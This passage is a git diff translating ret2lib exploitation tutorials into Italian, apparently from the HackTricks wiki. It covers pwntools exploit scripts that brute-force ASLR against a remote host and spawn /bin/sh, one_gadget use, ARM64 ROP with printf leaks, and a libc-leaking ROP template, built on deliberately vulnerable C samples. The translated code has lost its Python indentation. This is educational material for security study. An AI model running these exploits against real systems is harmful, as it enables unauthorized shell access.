chiamata. -### **Example Steps (simplified)** +### **Esempio di Passaggi (semplificato)** -- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh) -- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function +- Ottenere l'indirizzo della funzione da chiamare (ad es. system) e il comando da chiamare (ad es. /bin/sh) +- Generare una catena ROP per passare il primo argomento che punta alla stringa del comando e il flusso di esecuzione alla funzione -## Finding the addresses - -- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with: +## Trovare gli indirizzi +- Supponendo che la `libc` utilizzata sia quella della macchina corrente, puoi trovare dove verrà caricata in memoria con: ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` - -If you want to check if the ASLR is changing the address of libc you can do: - +Se vuoi controllare se l'ASLR sta cambiando l'indirizzo di libc, puoi fare: ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` - -- Knowing the libc used it's also possible to find the offset to the `system` function with: - +- Conoscendo la libc utilizzata è anche possibile trovare l'offset della funzione `system` con: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` - -- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with: - +- Conoscendo la libc utilizzata è anche possibile trovare l'offset alla stringa `/bin/sh` funzione con: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` +### Utilizzando gdb-peda / GEF -### Using gdb-peda / GEF - -Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** : - +Conoscendo la libc utilizzata, è anche possibile usare Peda o GEF per ottenere l'indirizzo della funzione **system**, della funzione **exit** e della stringa **`/bin/sh`** : ```bash p system p exit find "/bin/sh" ``` +### Utilizzando /proc/\/maps -### Using /proc/\/maps +Se il processo sta creando **figli** ogni volta che parli con esso (server di rete), prova a **leggere** quel file (probabilmente avrai bisogno dei permessi di root). -If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). - -Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. +Qui puoi trovare **esattamente dove è caricata la libc** all'interno del processo e **dove verrà caricata** per ogni figlio del processo. ![](<../../../images/image (853).png>) -In this case it is loaded in **0xb75dc000** (This will be the base address of libc) +In questo caso è caricata in **0xb75dc000** (Questo sarà l'indirizzo base della libc) -## Unknown libc +## Libc sconosciuta -It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used: +Potrebbe essere possibile che **non conosci la libc che il binario sta caricando** (perché potrebbe trovarsi su un server a cui non hai accesso). In quel caso potresti sfruttare la vulnerabilità per **leakare alcuni indirizzi e scoprire quale libreria libc** viene utilizzata: {{#ref}} rop-leaking-libc-address/ {{#endref}} -And you can find a pwntools template for this in: +E puoi trovare un template di pwntools per questo in: {{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}} -### Know libc with 2 offsets +### Conoscere la libc con 2 offset -Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**. +Controlla la pagina [https://libc.blukat.me/](https://libc.blukat.me/) e usa un **paio di indirizzi** di funzioni all'interno della libc per scoprire la **versione utilizzata**. -## Bypassing ASLR in 32 bits +## Bypassare ASLR in 32 bit -These brute-forcing attacks are **only useful for 32bit systems**. - -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +Questi attacchi di brute-forcing sono **utili solo per sistemi a 32 bit**. +- Se l'exploit è locale, puoi provare a forzare l'indirizzo base della libc (utile per sistemi a 32 bit): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- Se attacchi un server remoto, potresti provare a **forzare l'indirizzo della funzione `usleep` di `libc`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione. ## One Gadget -Execute a shell just jumping to **one** specific **address** in libc: +Esegui una shell semplicemente saltando a **un** specifico **indirizzo** in libc: {{#ref}} one-gadget.md {{#endref}} -## x86 Ret2lib Code Example - -In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server: +## Esempio di codice x86 Ret2lib +In questo esempio, il brute-force ASLR è integrato nel codice e il binario vulnerabile si trova su un server remoto: ```python from pwn import * @@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002) c.recvline() for off in range(0xb7000000, 0xb8000000, 0x1000): - p = "" - p += p32(off + 0x0003cb20) #system - p += "CCCC" #GARBAGE, could be address of exit() - p += p32(off + 0x001388da) #/bin/sh - payload = 'A'*0x20010 + p - c.send(payload) - c.interactive() +p = "" +p += p32(off + 0x0003cb20) #system +p += "CCCC" #GARBAGE, could be address of exit() +p += p32(off + 0x001388da) #/bin/sh +payload = 'A'*0x20010 + p +c.send(payload) +c.interactive() ``` +## x64 Ret2lib Esempio di Codice -## x64 Ret2lib Code Example - -Check the example from: +Controlla l'esempio da: {{#ref}} ../ {{#endref}} -## ARM64 Ret2lib Example +## Esempio ARM64 Ret2lib -In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated. +Nel caso di ARM64, l'istruzione ret salta dove il registro x30 sta puntando e non dove il registro stack sta puntando. Quindi è un po' più complicato. -Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones). +Inoltre, in ARM64 un'istruzione fa ciò che l'istruzione fa (non è possibile saltare nel mezzo delle istruzioni e trasformarle in nuove). -Check the example from: +Controlla l'esempio da: {{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}} -## Ret-into-printf (or puts) +## Ret-into-printf (o puts) -This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**. +Questo consente di **leakare informazioni dal processo** chiamando `printf`/`puts` con alcuni dati specifici posti come argomento. Ad esempio, mettere l'indirizzo di `puts` nel GOT in un'esecuzione di `puts` **leakerà l'indirizzo di `puts` in memoria**. ## Ret2printf -This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible): +Questo significa fondamentalmente abusare di un **Ret2lib per trasformarlo in una vulnerabilità di stringhe di formato `printf`** utilizzando il `ret2lib` per chiamare printf con i valori per sfruttarlo (sembra inutile ma è possibile): {{#ref}} ../../format-strings/ {{#endref}} -## Other Examples & references +## Altri Esempi e riferimenti - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - - Ret2lib, given a leak to the address of a function in libc, using one gadget +- Ret2lib, dato un leak all'indirizzo di una funzione in libc, utilizzando un gadget - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi chiamare un gadget. - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - - 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget. +- 64 bit, senza pie, senza canary, senza relro, nx. Usa la funzione write per leakare l'indirizzo di write (libc) e chiama un gadget. - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`. +- Usa una stringa di formato per leakare il canary dallo stack e un buffer overflow per chiamare system (è nel GOT) con l'indirizzo di `/bin/sh`. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 bit, senza relro, senza canary, nx, pie. Abusa di un indicizzazione errata per leakare indirizzi di libc e heap dallo stack. Abusa del buffer overflow per fare un ret2lib chiamando `system('/bin/sh')` (l'indirizzo dell'heap è necessario per bypassare un controllo). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index 5b24ece5f..1a15d500d 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -2,36 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +[**One Gadget**](https://github.com/david942j/one_gadget) consente di ottenere una shell invece di utilizzare **system** e **"/bin/sh". One Gadget** troverà all'interno della libreria libc un modo per ottenere una shell (`execve("/bin/sh")`) utilizzando solo un **indirizzo**.\ +Tuttavia, normalmente ci sono alcune restrizioni, le più comuni e facili da evitare sono come `[rsp+0x30] == NULL`. Poiché controlli i valori all'interno del **RSP**, devi solo inviare alcuni valori NULL in più in modo che la restrizione venga evitata. ![](<../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - -To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded. +Per l'indirizzo indicato da One Gadget è necessario **aggiungere l'indirizzo base dove `libc`** è caricato. > [!TIP] -> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements). +> One Gadget è un **grande aiuto per le tecniche Arbitrary Write 2 Exec** e potrebbe **semplificare le catene ROP** **poiché è necessario chiamare solo un indirizzo (e soddisfare i requisiti)**. ### ARM64 -The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**. +Il repository github menziona che **ARM64 è supportato** dallo strumento, ma quando viene eseguito nella libc di Kali 2023.3 **non trova alcun gadget**. ## Angry Gadget -From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\ -If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try! - +Dal [**repository github**](https://github.com/ChrisTheCoolHut/angry_gadget): Ispirato da [OneGadget](https://github.com/david942j/one_gadget), questo strumento è scritto in python e utilizza [angr](https://github.com/angr/angr) per testare i vincoli per i gadget che eseguono `execve('/bin/sh', NULL, NULL)`\ +Se hai esaurito i gadget da provare da OneGadget, Angry Gadget offre molto di più con vincoli complicati da provare! ```bash pip install angry_gadget angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index a9cfca917..80da65550 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -2,65 +2,58 @@ {{#include ../../../banners/hacktricks-training.md}} -## Ret2lib - NX bypass with ROP (no ASLR) - +## Ret2lib - bypass NX con ROP (no ASLR) ```c #include void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile without canary: - +Compila senza canary: ```bash clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector # Disable aslr echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### Trova offset -### Find offset +### offset x30 -### x30 offset - -Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c). +Creando un pattern con **`pattern create 200`**, utilizzandolo e controllando l'offset con **`pattern search $x30`** possiamo vedere che l'offset è **`108`** (0x6c).
-Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**: +Dando un'occhiata alla funzione main disassemblata possiamo vedere che vorremmo **saltare** all'istruzione per saltare a **`printf`** direttamente, il cui offset da dove il binario è caricato è **`0x860`**:
-### Find system and `/bin/sh` string +### Trova system e stringa `/bin/sh` -As the ASLR is disabled, the addresses are going to be always the same: +Poiché l'ASLR è disabilitato, gli indirizzi saranno sempre gli stessi:
-### Find Gadgets +### Trova Gadgets -We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper an interesting gadget was found: +Dobbiamo avere in **`x0`** l'indirizzo della stringa **`/bin/sh`** e chiamare **`system`**. +Utilizzando rooper è stato trovato un gadget interessante: ``` 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; ``` - -This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +Questo gadget caricherà `x0` da **`$sp + 0x18`** e poi caricherà gli indirizzi x29 e x30 da sp e salterà a x30. Quindi, con questo gadget possiamo **controllare il primo argomento e poi saltare a system**. ### Exploit - ```python from pwn import * from time import sleep @@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh system = libc.sym["system"] def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Ret2main stack_offset = 108 @@ -90,80 +83,72 @@ p.sendline(payload) p.interactive() p.close() ``` - -## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack - +## Ret2lib - Bypass NX, ASL e PIE con leak di printf dallo stack ```c #include void printfleak() { - char buf[100]; - printf("\nPrintf>\n"); - fgets(buf, sizeof(buf), stdin); - printf(buf); +char buf[100]; +printf("\nPrintf>\n"); +fgets(buf, sizeof(buf), stdin); +printf(buf); } void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile **without canary**: - +Compila **senza canary**: ```bash clang -o rop rop.c -fno-stack-protector -Wno-format-security ``` - -### PIE and ASLR but no canary +### PIE e ASLR ma niente canary - Round 1: - - Leak of PIE from stack - - Abuse bof to go back to main +- Leak di PIE dallo stack +- Abuso di bof per tornare a main - Round 2: - - Leak of libc from the stack - - ROP: ret2system +- Leak di libc dallo stack +- ROP: ret2system -### Printf leaks +### Leak di Printf -Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses: +Impostando un breakpoint prima di chiamare printf è possibile vedere che ci sono indirizzi a cui tornare al binario nello stack e anche indirizzi libc:
-Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address: +Provando diversi offset, il **`%21$p`** può leakare un indirizzo binario (bypass PIE) e il **`%25$p`** può leakare un indirizzo libc:
-Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.** +Sottraendo l'indirizzo libc leakato con l'indirizzo base di libc, è possibile vedere che l'**offset** dell'**indirizzo leakato dalla base è `0x49c40`.** -### x30 offset +### offset x30 -See the previous example as the bof is the same. +Vedi l'esempio precedente poiché il bof è lo stesso. -### Find Gadgets +### Trova Gadgets -Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper another interesting gadget was found: +Come nell'esempio precedente, dobbiamo avere in **`x0`** l'indirizzo della stringa **`/bin/sh`** e chiamare **`system`**. +Utilizzando rooper è stato trovato un altro gadget interessante: ``` 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; ``` - -This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +Questo gadget caricherà `x0` da **`$sp + 0x78`** e poi caricherà gli indirizzi x29 e x30 da sp e salterà a x30. Quindi, con questo gadget possiamo **controllare il primo argomento e poi saltare a system**. ### Exploit - ```python from pwn import * from time import sleep @@ -172,15 +157,15 @@ p = process('./rop') # For local binary libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") def leak_printf(payload, is_main_addr=False): - p.sendlineafter(b">\n" ,payload) - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - if is_main_addr: - response = response[:-4] + b"0000" - return int(response, 16) +p.sendlineafter(b">\n" ,payload) +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +if is_main_addr: +response = response[:-4] + b"0000" +return int(response, 16) def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Get main address main_address = leak_printf(b"%21$p", True) @@ -213,5 +198,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index fb453a1ba..4f4ae3637 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -4,10 +4,10 @@ ## Quick Resume -1. **Find** overflow **offset** -2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) -4. With the library, **calculate the ROP and exploit it** +1. **Trova** l'**offset** di overflow +2. **Trova** il gadget `POP_RDI`, i gadget `PUTS_PLT` e `MAIN` +3. Usa i gadget precedenti per **leakare l'indirizzo di memoria** di puts o di un'altra funzione libc e **trovare la versione di libc** ([donwload it](https://libc.blukat.me)) +4. Con la libreria, **calcola il ROP e sfruttalo** ## Other tutorials and binaries to practice @@ -17,68 +17,61 @@ Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0 ## Code Filename: `vuln.c` - ```c #include int main() { - char buffer[32]; - puts("Simple ROP.\n"); - gets(buffer); +char buffer[32]; +puts("Simple ROP.\n"); +gets(buffer); - return 0; +return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` - ## ROP - Leaking LIBC template -Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: +Scarica l'exploit e posizionalo nella stessa directory del binario vulnerabile e fornisci i dati necessari allo script: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## 1- Finding the offset - -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): +## 1- Trovare l'offset +Il template ha bisogno di un offset prima di continuare con l'exploit. Se ne viene fornito uno, eseguirà il codice necessario per trovarlo (per impostazione predefinita `OFFSET = ""`): ```bash ################### ### Find offset ### ################### OFFSET = ""#"A"*72 if OFFSET == "": - gdb.attach(p.pid, "c") #Attach and continue - payload = cyclic(1000) - print(r.clean()) - r.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #cyclic_find(0x6161616b) # Find the offset of those bytes - return +gdb.attach(p.pid, "c") #Attach and continue +payload = cyclic(1000) +print(r.clean()) +r.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#cyclic_find(0x6161616b) # Find the offset of those bytes +return ``` - -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: - +**Esegui** `python template.py` si aprirà una console GDB con il programma che si è bloccato. All'interno di quella **console GDB** esegui `x/wx $rsp` per ottenere i **byte** che stavano per sovrascrivere il RIP. Infine, ottieni il **offset** utilizzando una console **python**: ```python from pwn import * cyclic_find(0x6161616b) ``` - ![](<../../../../images/image (1007).png>) -After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ +Dopo aver trovato l'offset (in questo caso 40), cambia la variabile OFFSET all'interno del template utilizzando quel valore.\ `OFFSET = "A" * 40` -Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. +Un altro modo sarebbe usare: `pattern create 1000` -- _esegui fino a ret_ -- `pattern seach $rsp` da GEF. -## 2- Finding Gadgets - -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +## 2- Trovare Gadget +Ora dobbiamo trovare gadget ROP all'interno del binario. Questi gadget ROP saranno utili per chiamare `puts` per trovare la **libc** in uso, e successivamente per **lanciare l'exploit finale**. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` +Il `PUTS_PLT` è necessario per chiamare la **funzione puts**.\ +Il `MAIN_PLT` è necessario per richiamare di nuovo la **funzione main** dopo un'interazione per **sfruttare** nuovamente il overflow **(giri infiniti di sfruttamento)**. **Viene utilizzato alla fine di ogni ROP per richiamare di nuovo il programma**.\ +Il **POP_RDI** è necessario per **passare** un **parametro** alla funzione chiamata. -The `PUTS_PLT` is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP_RDI** is needed to **pass** a **parameter** to the called function. +In questo passaggio non è necessario eseguire nulla poiché tutto sarà trovato da pwntools durante l'esecuzione. -In this step you don't need to execute anything as everything will be found by pwntools during the execution. - -## 3- Finding libc library - -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +## 3- Trovare la libreria libc +Ora è il momento di scoprire quale versione della **libc** viene utilizzata. Per farlo, andremo a **leak** l'**indirizzo** in memoria della **funzione** `puts` e poi andremo a **cercare** in quale **versione della libreria** si trova la versione di puts in quell'indirizzo. ```python def get_addr(func_name): - FUNC_GOT = elf.got[func_name] - log.info(func_name + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +FUNC_GOT = elf.got[func_name] +log.info(func_name + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - #Send our rop-chain payload - #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment - print(p.clean()) # clean socket buffer (read all and print) - p.sendline(rop1) +#Send our rop-chain payload +#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment +print(p.clean()) # clean socket buffer (read all and print) +p.sendline(rop1) - #Parse leaked address - recieved = p.recvline().strip() - leak = u64(recieved.ljust(8, "\x00")) - log.info("Leaked libc address, "+func_name+": "+ hex(leak)) - #If not libc yet, stop here - if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +#Parse leaked address +recieved = p.recvline().strip() +leak = u64(recieved.ljust(8, "\x00")) +log.info("Leaked libc address, "+func_name+": "+ hex(leak)) +#If not libc yet, stop here +if libc != "": +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) - return hex(leak) +return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": - print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") - p.interactive() +print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") +p.interactive() ``` - -To do so, the most important line of the executed code is: - +Per fare ciò, la linea più importante del codice eseguito è: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` +Questo invierà alcuni byte fino a quando **sovrascrivere** il **RIP** non sarà possibile: `OFFSET`.\ +Poi, imposterà l'**indirizzo** del gadget `POP_RDI` in modo che il prossimo indirizzo (`FUNC_GOT`) sarà salvato nel registro **RDI**. Questo perché vogliamo **chiamare puts** **passandogli** l'**indirizzo** di `PUTS_GOT` poiché l'indirizzo in memoria della funzione puts è salvato nell'indirizzo puntato da `PUTS_GOT`.\ +Dopo di che, verrà chiamato `PUTS_PLT` (con `PUTS_GOT` all'interno del **RDI**) in modo che puts **legga il contenuto** all'interno di `PUTS_GOT` (**l'indirizzo della funzione puts in memoria**) e **lo stampi**.\ +Infine, **la funzione main viene chiamata di nuovo** così possiamo sfruttare di nuovo il buffer overflow. -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ -Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ -Finally, **main function is called again** so we can exploit the overflow again. - -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. +In questo modo abbiamo **ingannato la funzione puts** per **stampare** l'**indirizzo** in **memoria** della funzione **puts** (che si trova all'interno della libreria **libc**). Ora che abbiamo quell'indirizzo possiamo **cercare quale versione di libc viene utilizzata**. ![](<../../../../images/image (1049).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ -But, in a remote exploit case I will explain here how can you find it: +Poiché stiamo **sfruttando** un **binario locale**, **non è necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\ +Ma, in un caso di exploit remoto, spiegherò qui come puoi trovarlo: -### 3.1- Searching for libc version (1) +### 3.1- Ricerca della versione di libc (1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ -It will also allow you to download the discovered version of **libc** +Puoi cercare quale libreria viene utilizzata nella pagina web: [https://libc.blukat.me/](https://libc.blukat.me)\ +Ti permetterà anche di scaricare la versione di **libc** scoperta. ![](<../../../../images/image (221).png>) -### 3.2- Searching for libc version (2) +### 3.2- Ricerca della versione di libc (2) -You can also do: +Puoi anche fare: - `$ git clone https://github.com/niklasb/libc-database.git` - `$ cd libc-database` - `$ ./get` -This will take some time, be patient.\ -For this to work we need: +Questo richiederà del tempo, sii paziente.\ +Per farlo funzionare abbiamo bisogno di: -- Libc symbol name: `puts` -- Leaked libc adddress: `0x7ff629878690` - -We can figure out which **libc** that is most likely used. +- Nome del simbolo libc: `puts` +- Indirizzo libc **leakato**: `0x7ff629878690` +Possiamo capire quale **libc** è molto probabilmente utilizzata. ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` - -We get 2 matches (you should try the second one if the first one is not working). Download the first one: - +Otteniamo 2 corrispondenze (dovresti provare la seconda se la prima non funziona). Scarica la prima: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 - -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb - -> Downloading package - -> Extracting package - -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 +-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb +-> Downloading package +-> Extracting package +-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` +Copia la libc da `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` nella 